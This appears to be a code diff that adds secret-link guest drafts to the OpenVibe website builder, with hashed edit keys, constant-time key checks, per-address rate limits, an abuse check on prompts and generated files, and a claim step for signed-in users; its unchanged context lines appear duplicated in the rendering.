+ * A guest draft is static: no publishing, no data or kv for a visitor, no server functions. What it may do is
+ * build, edit and preview. The limits are the abuse screen's first half (per address a few drafts and AI builds
+ * a day, per draft a few AI edits, a service-wide cap on the drafts a day) and the drafts expire seven days
+ * after their last edit, which a job cleans up.
+ */
+const crypto = require('crypto');
+
+/** A new edit secret: 24 random bytes, base64url (32 characters). */
+function newKey() { return crypto.randomBytes(24).toString('base64url'); }
+
+/** The secret's hash, hex. This is all that is ever stored. */
+function keyHash(key) { return crypto.createHash('sha256').update(String(key)).digest('hex'); }
+
+/**
+ * Constant-time: the stored hash and the hash of the key that was offered are compared with
+ * crypto.timingSafeEqual, so the answer never depends on how much of the secret was right.
+ */
+function keyMatches(hash, key) {
+ if (typeof hash !== 'string' || !/^[0-9a-f]{64}$/.test(hash)) return false;
+ if (typeof key !== 'string' || !key) return false;
+ const stored = Buffer.from(hash, 'hex');
+ const given = Buffer.from(keyHash(key), 'hex');
+ if (stored.length !== given.length) return false;
+ return crypto.timingSafeEqual(stored, given);
+}
+
+module.exports = { newKey, keyHash, keyMatches };
@@ -11,16 +11,28 @@
@@ -11,16 +11,28 @@
* GET /spaces/:slug/connect · POST the sign-in a visitor approves for a published space; back to the space with a code
* GET /spaces/:slug/connect · POST the sign-in a visitor approves for a published space; back to the space with a code
* GET /_openvibe/sdk.js the SDK in preview mode (the editor's sandboxed frame loads it from here)
* GET /_openvibe/sdk.js the SDK in preview mode (the editor's sandboxed frame loads it from here)
*
*
+ * Guest drafts (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins"):
+ *
+ * GET /spaces/guest the start page: a website template, or a sentence for the AI
+ * POST /spaces/guest make a draft; the answer is the secret edit link
+ * GET /spaces/:id/edit the editor of a guest draft (?key=…, or the cookie that remembers it)
+ * POST /spaces/:id/claim a signed-in person who holds the key keeps the draft
+ *
* The editor's JSON calls (same origin, the form token in X-CSRF-Token):
* The editor's JSON calls (same origin, the form token in X-CSRF-Token):
* PUT /spaces/:slug/files · PUT /spaces/:slug/settings · POST /spaces/:slug/ai · GET /spaces/:slug/ai
* PUT /spaces/:slug/files · PUT /spaces/:slug/settings · POST /spaces/:slug/ai · GET /spaces/:slug/ai
* POST /spaces/:slug/publish · POST /spaces/:slug/unpublish · POST /spaces/:slug/delete
* POST /spaces/:slug/publish · POST /spaces/:slug/unpublish · POST /spaces/:slug/delete
* POST /spaces/:slug/preview { op, args }: an SDK call from the preview, run as the maker
* POST /spaces/:slug/preview { op, args }: an SDK call from the preview, run as the maker
+ *
+ * A guest draft is edited with the same calls: the secret opens them, and the form token is one made for the
+ * draft (server/auth/forms.js, scopeToken). A guest never publishes, never keeps a visitor's data and never
+ * runs server functions.
*/
*/
const express = require('express');
const express = require('express');
const { ApiError } = require('../http/errors');
const { ApiError } = require('../http/errors');
-const { csrfToken, checkCsrf, sameOrigin } = require('../auth/forms');
+const { csrfToken, checkCsrf, scopeToken, checkScopeToken, sameOrigin } = require('../auth/forms');
const templates = require('./templates');
const templates = require('./templates');
const render = require('./render');
const render = require('./render');
+const contentCheck = require('./content-check');
const { sdkSource } = require('./sdk');
const { sdkSource } = require('./sdk');
const BUILD_STALE = 10 * 60 * 1000;
const BUILD_STALE = 10 * 60 * 1000;
@@ -84,12 +96,48 @@ function createSpacesPages(ctx) {
@@ -84,12 +96,48 @@ function createSpacesPages(ctx) {
if (!sameOrigin(config, req) || !checkCsrf(config, req.viewer, req.body && req.body.csrf)) throw new ApiError(403, 'form.invalid', 'this form expired or did not come from this site; reload the page and try again');
if (!sameOrigin(config, req) || !checkCsrf(config, req.viewer, req.body && req.body.csrf)) throw new ApiError(403, 'form.invalid', 'this form expired or did not come from this site; reload the page and try again');
await fn(req, res);
await fn(req, res);
})];
})];
+ /**
+ * A guest's form POST: no session, but it must come from this site (the Origin), so a page elsewhere
+ * cannot make drafts here.
+ */
+ const guestAction = (fn) => [urlencoded, view(async (req, res) => {
+ if (!sameOrigin(config, req)) throw new ApiError(403, 'form.invalid', 'this form did not come from this site; reload the page and try again');
+ await fn(req, res);
+ })];
+ /**
+ * Who is editing this space: its maker (signed in, own space) or a guest holding the draft's secret.
+ * The parameter is a space id (a guest draft) or a slug (an owned space).
+ * Throws 404 when there is no such space (or a guest draft whose week is up), 403 when the secret is wrong.
+ */
+ async function editorOf(req) {
+ const param = req.params.slug;
+ const space = (await spaces.get(param)) || (await spaces.getBySlug(param));
+ if (!space) throw new ApiError(404, 'space.not_found', 'no such space');
+ if (spaces.isGuest(space)) {
+ if (spaces.guestExpired(space, ctx.store.now())) throw new ApiError(404, 'space.not_found', 'this draft is gone');
+ const key = guestKeyOf(req, space);
+ if (!spaces.guestKeyOk(space, key)) throw new ApiError(403, 'space.forbidden', 'this draft needs the secret from its link');
+ return { space, guest: true, key };
+ }
+ if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in first');
+ const owner = spaces.isOwner(req.viewer, space) || Boolean(req.viewer && req.viewer.staff);
+ // A published space says who may change it; a draft is nobody's but its maker's, so it is simply not there.
+ if (!owner) {
+ if (space.site_id) throw new ApiError(403, 'space.not_owner', 'only the space\'s maker can change it');
+ throw new ApiError(404, 'space.not_found', 'no such space');
+ }
+ return { space, guest: false, key: null };
+ }
/** An editor JSON call: signed in, same origin, the form token in X-CSRF-Token. */
/** An editor JSON call: signed in, same origin, the form token in X-CSRF-Token. */
const api = (fn) => [json, async (req, res) => {
const api = (fn) => [json, async (req, res) => {
try {
try {
- if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in again');
- if (!sameOrigin(config, req) || !checkCsrf(config, req.viewer, req.get('x-csrf-token'))) throw new ApiError(403, 'form.invalid', 'this page expired; reload it');
- res.json(await fn(req, res));
+ const who = await editorOf(req);
+ // A guest draft is edited with its own form token (one made for the draft) and its own secret.
+ const ok = who.guest
+ ? checkScopeToken(config, `guest:${who.space.id}`, req.get('x-csrf-token'))
+ : checkCsrf(config, req.viewer, req.get('x-csrf-token'));
+ if (!sameOrigin(config, req) || !ok) throw new ApiError(403, 'form.invalid', 'this page expired; reload it');
+ res.json(await fn(req, res, who));
} catch (err) {
} catch (err) {
if (!(err instanceof ApiError) && !(err && Number.isInteger(err.status) && err.code)) log.error('[Spaces editor]', err && err.stack ? err.stack : err);
if (!(err instanceof ApiError) && !(err && Number.isInteger(err.status) && err.code)) log.error('[Spaces editor]', err && err.stack ? err.stack : err);
const status = err && Number.isInteger(err.status) ? err.status : 500;
const status = err && Number.isInteger(err.status) ? err.status : 500;
@@ -99,6 +147,34 @@ function createSpacesPages(ctx) {
@@ -99,6 +147,34 @@ function createSpacesPages(ctx) {
const buildsLeft = async (req) => (signedIn(req) ? Math.max(0, limits.aiBuildsPerDay - await spaces.used(`build:${req.viewer.subject}`)) : 0);
const buildsLeft = async (req) => (signedIn(req) ? Math.max(0, limits.aiBuildsPerDay - await spaces.used(`build:${req.viewer.subject}`)) : 0);
const settingsOut = (s) => ({ id: s.id, slug: s.slug, name: s.name, description: s.description, instructions: s.instructions, capabilities: spaces.capsOf(s.capabilities), visibility: s.visibility, published: Boolean(s.site_id), url: spaces.urlOf(s), building: Boolean(s.building_run_id) });
const settingsOut = (s) => ({ id: s.id, slug: s.slug, name: s.name, description: s.description, instructions: s.instructions, capabilities: spaces.capsOf(s.capabilities), visibility: s.visibility, published: Boolean(s.site_id), url: spaces.urlOf(s), building: Boolean(s.building_run_id) });
+ // ── Guest drafts (openvibe.website, plan 5.9) ────────────────────────────────────────────────────────────
+ // A visitor who is not signed in makes a draft on openvibe.space. The draft has no owner and a random
+ // secret; only the secret's hash is stored (server/spaces/guest.js). The secret opens the draft's editor
+ // and is what a signed-in person needs to claim it.
+ const guestLimits = limits.guest;
+ const guestCookie = (id) => `spc_key_${id}`;
+ /** The form token of a guest draft: one made for the draft, not for a session. */
+ const guestCsrf = (id) => scopeToken(config, `guest:${id}`);
+ /** The address the request came from: the abuse screen counts what one address makes. */
+ const ipOf = (req) => String(req.ip || (req.socket && req.socket.remoteAddress) || '').replace(/^::ffff:/, '').slice(0, 64);
+ /** The draft's secret: from the link, from the cookie that remembers it, or from the editor's header. */
+ const guestKeyOf = (req, space) => {
+ const q = req.query && req.query.key;
+ if (typeof q === 'string' && q) return q;
+ const h = req.get('x-space-key');
+ if (typeof h === 'string' && h) return h;
+ const c = req.cookies && req.cookies[guestCookie(space.id)];
+ return typeof c === 'string' ? c : '';
+ };
+ /** Remember the secret for this one draft (host-only, so only openvibe.space ever sees it). */
+ const setGuestCookie = (res, space, key) => res.cookie(guestCookie(space.id), key, {
+ httpOnly: true, sameSite: 'lax', secure: config.cookies.secure, path: `/spaces/${space.id}`,
+ maxAge: guestLimits.ttlDays * 24 * 3600 * 1000,
+ });
+ const clearGuestCookie = (res, space) => res.clearCookie(guestCookie(space.id), { path: `/spaces/${space.id}` });
+ /** How many AI builds this address has left today. */
+ const guestBuildsLeft = async (req) => Math.max(0, guestLimits.aiBuildsPerIpPerDay - await spaces.used(`guest-ai:ip:${ipOf(req)}`));
+
router.get('/_openvibe/sdk.js', (req, res) => {
router.get('/_openvibe/sdk.js', (req, res) => {
res.set('Cache-Control', 'no-cache').type('application/javascript').send(sdkSource({ mode: 'preview', avatar: `${config.networkUrl}/avatar/{username}` }));
res.set('Cache-Control', 'no-cache').type('application/javascript').send(sdkSource({ mode: 'preview', avatar: `${config.networkUrl}/avatar/{username}` }));
});
});
@@ -127,6 +203,8 @@ function createSpacesPages(ctx) {
@@ -127,6 +203,8 @@ function createSpacesPages(ctx) {
const again = (error) => html(res, 422, render.newPage({ viewer: req.viewer, templates: templates.list(), csrf: csrfOf(req), aiOn: ai.enabled(), buildsLeft: 0, error, prompt }));
const again = (error) => html(res, 422, render.newPage({ viewer: req.viewer, templates: templates.list(), csrf: csrfOf(req), aiOn: ai.enabled(), buildsLeft: 0, error, prompt }));
if (prompt.length < 8) return again('Describe your space in a sentence or two (what it does, who uses it, how it should look).');
if (prompt.length < 8) return again('Describe your space in a sentence or two (what it does, who uses it, how it should look).');
if (!ai.enabled()) return again('OpenVibe AI is not available right now. Start from a template instead.');
if (!ai.enabled()) return again('OpenVibe AI is not available right now. Start from a template instead.');
+ // The abuse screen: what is asked of the AI must pass it (a guest's prompt passes the same checks).
+ contentCheck.refuse(contentCheck.promptReason(prompt));
if (!(await spaces.spend(`build:${req.viewer.subject}`, limits.aiBuildsPerDay))) return again(`You have used today's ${limits.aiBuildsPerDay} AI builds. Start from a template, or try again tomorrow.`);
if (!(await spaces.spend(`build:${req.viewer.subject}`, limits.aiBuildsPerDay))) return again(`You have used today's ${limits.aiBuildsPerDay} AI builds. Start from a template, or try again tomorrow.`);
const t = templates.get('blank');
const t = templates.get('blank');
const space = await spaces.create(req.viewer, { name: 'New space', description: '', capabilities: t.capabilities, files: templates.files('blank'), template: null });
const space = await spaces.create(req.viewer, { name: 'New space', description: '', capabilities: t.capabilities, files: templates.files('blank'), template: null });
@@ -135,6 +213,49 @@ function createSpacesPages(ctx) {
@@ -135,6 +213,49 @@ function createSpacesPages(ctx) {
res.redirect(303, `/spaces/${space.slug}/edit`);
res.redirect(303, `/spaces/${space.slug}/edit`);
}));
}));
+ // ── Guest drafts (openvibe.website, plan 5.9) ────────────────────────────────────────────────────────────
+ // A visitor who is not signed in makes a draft here, on openvibe.space (never on openvibe.website, which
+ // reads no cookie and sets none). The answer is the secret edit link; the cookie only remembers it.
+ router.get('/spaces/guest', view(async (req, res) => {
+ html(res, 200, render.guestPage({ templates: templates.sites(), error: null, prompt: '', aiOn: ai.enabled() }));
+ }));
+ router.post('/spaces/guest', ...guestAction(async (req, res) => {
+ const body = req.body || {};
+ const prompt = String(body.prompt || '').trim();
+ const t = body.template ? templates.get(String(body.template)) : null;
+ const again = (error) => html(res, 422, render.guestPage({ templates: templates.sites(), error, prompt, aiOn: ai.enabled() }));
+ if (!guestLimits.enabled) return again('Guest drafts are off right now.');
+ if (body.template && (!t || t.kind !== 'site')) return again('That is not a website template.');
+ if (!t && prompt.length < 8) return again('Describe your site in a sentence or two (what it does, who uses it, how it should look).');
+ if (!t && !ai.enabled()) return again('OpenVibe AI is not available right now. Start from a template instead.');
+ // The abuse screen: what the guest asks for, and what the draft starts from, must pass it.
+ contentCheck.refuse(contentCheck.promptReason(prompt));
+ const files = t ? templates.files(t.id) : templates.files('blank');
+ contentCheck.refuse(contentCheck.filesReason(files, { sitesDomain: config.sitesDomain, forms: true }));
+ // The AI's share of the day, before anything is made.
+ let aiRoom = { ok: true };
+ if (!t) {
+ aiRoom = await spaces.spendGuestAi(ipOf(req), null);
+ if (!aiRoom.ok) return again(`You have used today's ${guestLimits.aiBuildsPerIpPerDay} AI builds. Start from a template, or try again tomorrow.`);
+ }
+ // The limits: what this address may make a day, and what the service makes a day.
+ const room = await spaces.spendGuestDraft(ipOf(req));
+ if (!room.ok) return again(room.reason === 'service'
+ ? 'We have made as many drafts today as we can. Please try again tomorrow.'
+ : `You have made today's ${guestLimits.draftsPerIpPerDay} drafts. Please try again tomorrow.`);
+ const { space, key } = await spaces.createGuest({
+ ip: ipOf(req), name: t ? t.name : 'Untitled site', description: t ? t.description : '',
+ template: t ? t.id : null, files,
+ });
+ // The secret is in the link; the cookie remembers it for this one draft (the link alone works too).
+ setGuestCookie(res, space, key);
+ if (!t && aiRoom.ok) {
+ const runId = await ai.build(null, { prompt, spaceId: space.id });
+ await spaces.startBuild(space, runId, prompt);
+ }
+ res.redirect(303, `/spaces/${space.id}/edit?key=${encodeURIComponent(key)}`);
+ }));
+
router.get('/spaces/mine', view(async (req, res) => {
router.get('/spaces/mine', view(async (req, res) => {
if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in first');
if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in first');
html(res, 200, render.minePage({ spaces: await spaces.mine(req.viewer) }));
html(res, 200, render.minePage({ spaces: await spaces.mine(req.viewer) }));
@@ -147,8 +268,17 @@ function createSpacesPages(ctx) {
@@ -147,8 +268,17 @@ function createSpacesPages(ctx) {
}));
}));
router.get('/spaces/:slug/edit', view(async (req, res) => {
router.get('/spaces/:slug/edit', view(async (req, res) => {
- if (!signedIn(req)) throw new ApiError(401, 'auth.required', 'sign in first');
- const { space } = await spaces.load(req.viewer, req.params.slug, 'own');
+ const who = await editorOf(req);
+ if (who.guest) {
+ html(res, 200, render.editorPage({
+ space: who.space, files: await spaces.files(who.space), csrf: guestCsrf(who.space.id),
+ canPublish: false, url: null, aiOn: ai.enabled(), buildsLeft: await guestBuildsLeft(req),
+ templates: templates.list(),
+ guest: { id: who.space.id, key: who.key, claimCsrf: csrfOf(req), signedIn: signedIn(req) },
+ }));
+ return;
+ }
+ const { space } = who;
html(res, 200, render.editorPage({ space, files: await spaces.files(space), csrf: csrfOf(req), canPublish: spaces.canPublish(req.viewer), url: spaces.urlOf(space), aiOn: ai.enabled(), buildsLeft: await buildsLeft(req), templates: templates.list() }));
html(res, 200, render.editorPage({ space, files: await spaces.files(space), csrf: csrfOf(req), canPublish: spaces.canPublish(req.viewer), url: spaces.urlOf(space), aiOn: ai.enabled(), buildsLeft: await buildsLeft(req), templates: templates.list() }));
}));
}));
@@ -158,26 +288,58 @@ function createSpacesPages(ctx) {
@@ -158,26 +288,58 @@ function createSpacesPages(ctx) {
res.redirect(303, `/spaces/${copy.slug}/edit`);
res.redirect(303, `/spaces/${copy.slug}/edit`);
}));
}));
+ // The claim (openvibe.website, plan 5.9): a signed-in person who holds the draft's secret keeps it. The
+ // draft becomes theirs — with an address from its name — and follows every rule a signed-in space does.
+ router.post('/spaces/:slug/claim', ...action(async (req, res) => {
+ const space = await spaces.get(req.params.slug);
+ if (!space || !spaces.isGuest(space)) throw new ApiError(404, 'space.not_found', 'no such draft');
+ if (spaces.guestExpired(space, ctx.store.now())) throw new ApiError(404, 'space.not_found', 'this draft is gone');
+ const claimed = await spaces.claimGuest(space, String((req.body || {}).key || ''), spaces.personOf(req.viewer));
+ clearGuestCookie(res, space);
+ res.redirect(303, `/spaces/${claimed.slug}`);
+ }));
+
// ── The editor's JSON calls ──
// ── The editor's JSON calls ──
- const own = async (req) => (await spaces.load(req.viewer, req.params.slug, 'own')).space;
- router.put('/spaces/:slug/files', ...api(async (req) => {
- const space = await own(req);
+ // The maker (signed in) or a guest holding the draft's secret; who they are, editorOf() says.
+ router.put('/spaces/:slug/files', ...api(async (req, res, who) => {
+ const space = who.space;
if (space.building_run_id) throw new ApiError(409, 'space.building', 'the AI is changing this space; wait for it to finish');
if (space.building_run_id) throw new ApiError(409, 'space.building', 'the AI is changing this space; wait for it to finish');
- return { files: await spaces.saveFiles(req.viewer, space, (req.body || {}).files) };
+ const list = (req.body || {}).files;
+ // The abuse screen: what is saved must pass it (a guest draft's forms may not post off-site).
+ contentCheck.refuse(contentCheck.filesReason(list, { sitesDomain: config.sitesDomain, forms: who.guest }));
+ const files = await spaces.saveFiles(req.viewer, space, list);
+ if (who.guest) await spaces.touchGuest(space);
+ return { files };
+ }));
+ router.put('/spaces/:slug/settings', ...api(async (req, res, who) => {
+ const body = req.body || {};
+ // A guest draft has no capabilities (there is no visitor to ask anything of) and is never in the gallery.
+ const input = who.guest ? { name: body.name, description: body.description, instructions: body.instructions, capabilities: [], visibility: 'unlisted' } : body;
+ const updated = await spaces.updateSettings(req.viewer, who.space, input);
+ if (who.guest) await spaces.touchGuest(updated);
+ return { space: settingsOut(updated) };
}));
}));
- router.put('/spaces/:slug/settings', ...api(async (req) => ({ space: settingsOut(await spaces.updateSettings(req.viewer, await own(req), req.body || {})) })));
- router.post('/spaces/:slug/ai', ...api(async (req) => {
- const space = await own(req);
+ router.post('/spaces/:slug/ai', ...api(async (req, res, who) => {
+ const space = who.space;
const prompt = String((req.body || {}).prompt || '').trim();
const prompt = String((req.body || {}).prompt || '').trim();
if (prompt.length < 3) throw new ApiError(422, 'space.prompt_required', 'say what to change');
if (prompt.length < 3) throw new ApiError(422, 'space.prompt_required', 'say what to change');
if (space.building_run_id) throw new ApiError(409, 'space.building', 'the AI is already changing this space');
if (space.building_run_id) throw new ApiError(409, 'space.building', 'the AI is already changing this space');
- if (!(await spaces.spend(`build:${req.viewer.subject}`, limits.aiBuildsPerDay))) throw new ApiError(429, 'quota', `you have used today's ${limits.aiBuildsPerDay} AI builds; try again tomorrow`);
- const runId = await ai.build(spaces.personOf(req.viewer), { prompt, name: space.name, current: await spaces.files(space), spaceId: space.id });
+ // The abuse screen: what the guest asks the AI must pass it (the maker's prompt passes it too).
+ contentCheck.refuse(contentCheck.promptReason(prompt));
+ if (who.guest) {
+ const room = await spaces.spendGuestAi(ipOf(req), space.id);
+ if (!room.ok) throw new ApiError(429, 'quota', room.reason === 'ip'
+ ? `you have used today's ${guestLimits.aiBuildsPerIpPerDay} AI builds; try again tomorrow`
+ : `this draft has had its ${guestLimits.aiEditsPerDraft} AI changes; try again tomorrow`);
+ } else if (!(await spaces.spend(`build:${req.viewer.subject}`, limits.aiBuildsPerDay))) {
+ throw new ApiError(429, 'quota', `you have used today's ${limits.aiBuildsPerDay} AI builds; try again tomorrow`);
+ }
+ const runId = await ai.build(who.guest ? null : spaces.personOf(req.viewer), { prompt, name: space.name, current: await spaces.files(space), spaceId: space.id });
await spaces.startBuild(space, runId, prompt);
await spaces.startBuild(space, runId, prompt);
return { building: true };
return { building: true };
}));
}));
- router.get('/spaces/:slug/ai', ...api(async (req) => {
- const space = await own(req);
+ router.get('/spaces/:slug/ai', ...api(async (req, res, who) => {
+ const space = who.space;
if (!space.building_run_id) return { status: 'idle' };
if (!space.building_run_id) return { status: 'idle' };
const runId = space.building_run_id;
const runId = space.building_run_id;
const r = await ai.result(runId);
const r = await ai.result(runId);
@@ -187,10 +349,14 @@ function createSpacesPages(ctx) {
@@ -187,10 +349,14 @@ function createSpacesPages(ctx) {
}
}
if (r.status === 'succeeded') {
if (r.status === 'succeeded') {
try {
try {
- await spaces.finishBuild(space, runId, r.output);
+ // The abuse screen: what the AI answered must pass it too.
+ contentCheck.refuse(contentCheck.filesReason(r.output && r.output.files, { sitesDomain: config.sitesDomain, forms: who.guest }));
+ // A guest draft has no capabilities: there is no visitor to ask anything of.
+ await spaces.finishBuild(space, runId, who.guest ? { ...r.output, capabilities: [] } : r.output);
} catch (err) {
} catch (err) {
await spaces.failBuild(space, runId);
await spaces.failBuild(space, runId);
- return { status: 'failed', message: `The AI's answer was not a working space (${err.message}). Try again.` };
+ const refused = err && (err.code === 'space.guest_abuse' || err.code === 'space.guest_offsite_form');
+ return { status: 'failed', message: refused ? `The AI's answer was refused: ${err.message}` : `The AI's answer was not a working space (${err.message}). Try again.` };
}
}
const fresh = await spaces.get(space.id);
const fresh = await spaces.get(space.id);
return { status: 'done', space: settingsOut(fresh), files: await spaces.files(fresh) };
return { status: 'done', space: settingsOut(fresh), files: await spaces.files(fresh) };
@@ -198,15 +364,28 @@ function createSpacesPages(ctx) {
@@ -198,15 +364,28 @@ function createSpacesPages(ctx) {
await spaces.failBuild(space, runId);
await spaces.failBuild(space, runId);
return { status: 'failed', message: r.error === 'quota.exceeded' ? 'Your OpenVibe AI allowance for today is used up.' : 'The AI could not build that. Try again, or describe it differently.' };
return { status: 'failed', message: r.error === 'quota.exceeded' ? 'Your OpenVibe AI allowance for today is used up.' : 'The AI could not build that. Try again, or describe it differently.' };
}));
}));
- router.post('/spaces/:slug/publish', ...api(async (req) => {
- const out = await spaces.publish(req.viewer, await own(req), { traceparent: req.ov ? req.ov.traceparent : undefined });
+ router.post('/spaces/:slug/publish', ...api(async (req, res, who) => {
+ // A guest draft is not published: it has no owner to publish under, and it is static.
+ if (who.guest) throw new ApiError(403, 'space.guest_cannot_publish', 'a guest draft cannot be published; sign in and keep it first');
+ const out = await spaces.publish(req.viewer, who.space, { traceparent: req.ov ? req.ov.traceparent : undefined });
return { space: settingsOut(out.space), url: out.url };
return { space: settingsOut(out.space), url: out.url };
}));
}));
- router.post('/spaces/:slug/unpublish', ...api(async (req) => ({ space: settingsOut(await spaces.unpublish(req.viewer, await own(req))) })));
- router.post('/spaces/:slug/delete', ...api(async (req) => { await spaces.remove(req.viewer, await own(req)); return { deleted: true }; }));
- router.post('/spaces/:slug/preview', ...api(async (req) => {
- const space = await own(req);
+ router.post('/spaces/:slug/unpublish', ...api(async (req, res, who) => {
+ if (who.guest) throw new ApiError(403, 'space.guest_cannot_publish', 'a guest draft was never published');
+ return { space: settingsOut(await spaces.unpublish(req.viewer, who.space)) };
+ }));
+ router.post('/spaces/:slug/delete', ...api(async (req, res, who) => { await spaces.remove(req.viewer, who.space); return { deleted: true }; }));
+ router.post('/spaces/:slug/preview', ...api(async (req, res, who) => {
+ const space = who.space;
const b = req.body || {};
const b = req.body || {};
+ if (who.guest) {
+ // A guest draft is static: no visitor's lists, no private storage, no server functions. The SDK
+ // answers "sign in to use this" where a visitor's account would be needed — not an error.
+ if (b.op === 'fn.call') throw new ApiError(403, 'space.guest_no_functions', 'a guest draft runs no server functions');
+ if (b.op === 'me') return { result: null };
+ if (b.op === 'items.list') return { result: [] };
+ return { result: { error: 'sign_in_required', message: 'Sign in to use this' } };
+ }
const person = spaces.personOf(req.viewer);
const person = spaces.personOf(req.viewer);
// OV.fn in the preview: the editor's copy of functions/<name>.js (unsaved changes too), run as the maker.
// OV.fn in the preview: the editor's copy of functions/<name>.js (unsaved changes too), run as the maker.
if (b.op === 'fn.call') {
if (b.op === 'fn.call') {
@@ -152,22 +152,31 @@ function spacePage({ viewer, space, owner, url, csrf, forkedFrom }) {
@@ -152,22 +152,31 @@ function spacePage({ viewer, space, owner, url, csrf, forkedFrom }) {
});
});
}
}
-function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, templates }) {
+function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, templates, guest = null }) {
const boot = {
const boot = {
space: { id: space.id, slug: space.slug, name: space.name, description: space.description, instructions: space.instructions, capabilities: caps(space), visibility: space.visibility, published: Boolean(space.site_id), url, building: Boolean(space.building_run_id), building_prompt: space.building_prompt || '' },
space: { id: space.id, slug: space.slug, name: space.name, description: space.description, instructions: space.instructions, capabilities: caps(space), visibility: space.visibility, published: Boolean(space.site_id), url, building: Boolean(space.building_run_id), building_prompt: space.building_prompt || '' },
files, csrf, canPublish, aiOn, buildsLeft, templates: templates.map((t) => ({ id: t.id, name: t.name })),
files, csrf, canPublish, aiOn, buildsLeft, templates: templates.map((t) => ({ id: t.id, name: t.name })),
+ // Where the editor's calls go: a guest draft is edited by its id (its address is a secret link), an
+ // owned space by its slug. A guest carries its secret with every call.
+ base: `/spaces/${guest ? space.id : space.slug}`,
+ guest: guest ? { id: space.id, key: guest.key } : null,
};
};
+ // The claim (openvibe.website, plan 5.9): a signed-in person who holds the secret keeps the draft.
+ const claim = guest ? (guest.signedIn
+ ? `<form method="post" action="/spaces/${esc(guest.id)}/claim"><input type="hidden" name="key" value="${esc(guest.key)}"><input type="hidden" name="csrf" value="${esc(guest.claimCsrf || '')}"><button class="sp-btn" type="submit"><i class="fa-solid fa-bookmark" aria-hidden="true"></i> Keep this site</button></form>`
+ : `<p class="sp-muted">This draft is yours until you sign in. <a class="sp-btn sp-btn-quiet" href="${esc(`/auth/login?next=${encodeURIComponent(`/spaces/${guest.id}/edit?key=${guest.key}`)}`)}">Sign in to keep it</a></p>`) : '';
const body = `<div class="sp-editor" id="sp-editor" data-view="preview">
const body = `<div class="sp-editor" id="sp-editor" data-view="preview">
<header class="sp-ed-bar">
<header class="sp-ed-bar">
- <a class="sp-ed-back" href="/spaces/${esc(space.slug)}" aria-label="Back to the space's page"><i class="fa-solid fa-arrow-left" aria-hidden="true"></i></a>
+ <a class="sp-ed-back" href="${guest ? '/spaces/guest' : `/spaces/${esc(space.slug)}`}" aria-label="Back"><i class="fa-solid fa-arrow-left" aria-hidden="true"></i></a>
<h1 class="sp-ed-name" id="ed-name">${esc(space.name)}</h1>
<h1 class="sp-ed-name" id="ed-name">${esc(space.name)}</h1>
<span class="sp-ed-status" id="ed-status" role="status"></span>
<span class="sp-ed-status" id="ed-status" role="status"></span>
<div class="sp-ed-actions">
<div class="sp-ed-actions">
<button class="sp-btn sp-btn-quiet" id="ed-settings" type="button"><i class="fa-solid fa-sliders" aria-hidden="true"></i> Settings</button>
<button class="sp-btn sp-btn-quiet" id="ed-settings" type="button"><i class="fa-solid fa-sliders" aria-hidden="true"></i> Settings</button>
<button class="sp-btn sp-btn-quiet" id="ed-save" type="button"><i class="fa-solid fa-floppy-disk" aria-hidden="true"></i> Save</button>
<button class="sp-btn sp-btn-quiet" id="ed-save" type="button"><i class="fa-solid fa-floppy-disk" aria-hidden="true"></i> Save</button>
- <button class="sp-btn" id="ed-publish" type="button"><i class="fa-solid fa-globe" aria-hidden="true"></i> ${space.site_id ? 'Update' : 'Publish'}</button>
+ ${guest ? '' : `<button class="sp-btn" id="ed-publish" type="button"><i class="fa-solid fa-globe" aria-hidden="true"></i> ${space.site_id ? 'Update' : 'Publish'}</button>`}
</div>
</div>
</header>
</header>
+ ${claim ? `<div class="sp-ed-claim"><p><strong>Keep this site</strong> — sign in and it becomes yours, with an address of its own.</p>${claim}</div>` : ''}
<div class="sp-ed-ai">
<div class="sp-ed-ai">
<form id="ed-ai-form"><label class="sr-only" for="ed-ai">Ask OpenVibe AI to change this space</label>
<form id="ed-ai-form"><label class="sr-only" for="ed-ai">Ask OpenVibe AI to change this space</label>
<i class="fa-solid fa-wand-magic-sparkles" aria-hidden="true"></i>
<i class="fa-solid fa-wand-magic-sparkles" aria-hidden="true"></i>
@@ -193,7 +202,7 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem
@@ -193,7 +202,7 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem
<label>Name<input name="name" maxlength="40" required></label>
<label>Name<input name="name" maxlength="40" required></label>
<label>Description<textarea name="description" rows="2" maxlength="400" placeholder="What it does, for the gallery"></textarea></label>
<label>Description<textarea name="description" rows="2" maxlength="400" placeholder="What it does, for the gallery"></textarea></label>
<label>Its AI's instructions<textarea name="instructions" rows="4" maxlength="4000" placeholder="Who the space's AI is and how it answers (used by OV.ai.ask)"></textarea></label>
<label>Its AI's instructions<textarea name="instructions" rows="4" maxlength="4000" placeholder="Who the space's AI is and how it answers (used by OV.ai.ask)"></textarea></label>
- <fieldset><legend>What it may ask visitors for</legend>
+ ${guest ? '' : `<fieldset><legend>What it may ask visitors for</legend>
<label class="sp-check"><input type="checkbox" name="cap" value="profile"> Their username</label>
<label class="sp-check"><input type="checkbox" name="cap" value="profile"> Their username</label>
<label class="sp-check"><input type="checkbox" name="cap" value="data"> Adding to shared lists (OV.items)</label>
<label class="sp-check"><input type="checkbox" name="cap" value="data"> Adding to shared lists (OV.items)</label>
<label class="sp-check"><input type="checkbox" name="cap" value="kv"> Their private storage (OV.kv)</label>
<label class="sp-check"><input type="checkbox" name="cap" value="kv"> Their private storage (OV.kv)</label>
@@ -201,11 +210,11 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem
@@ -201,11 +210,11 @@ function editorPage({ space, files, csrf, canPublish, url, aiOn, buildsLeft, tem
</fieldset>
</fieldset>
<fieldset><legend>Who can find it</legend>
<fieldset><legend>Who can find it</legend>
<label class="sp-check"><input type="radio" name="visibility" value="public"> Public: in the gallery</label>
<label class="sp-check"><input type="radio" name="visibility" value="public"> Public: in the gallery</label>
- <label class="sp-check"><input type="radio" name="visibility" value="unlisted"> Unlisted: only with the link</label>
- </fieldset>
+ <label class="sp-check"><input type="radio" name="visibility" value="unlisted"> Unlisted: only with its link</label>
+ </fieldset>`}
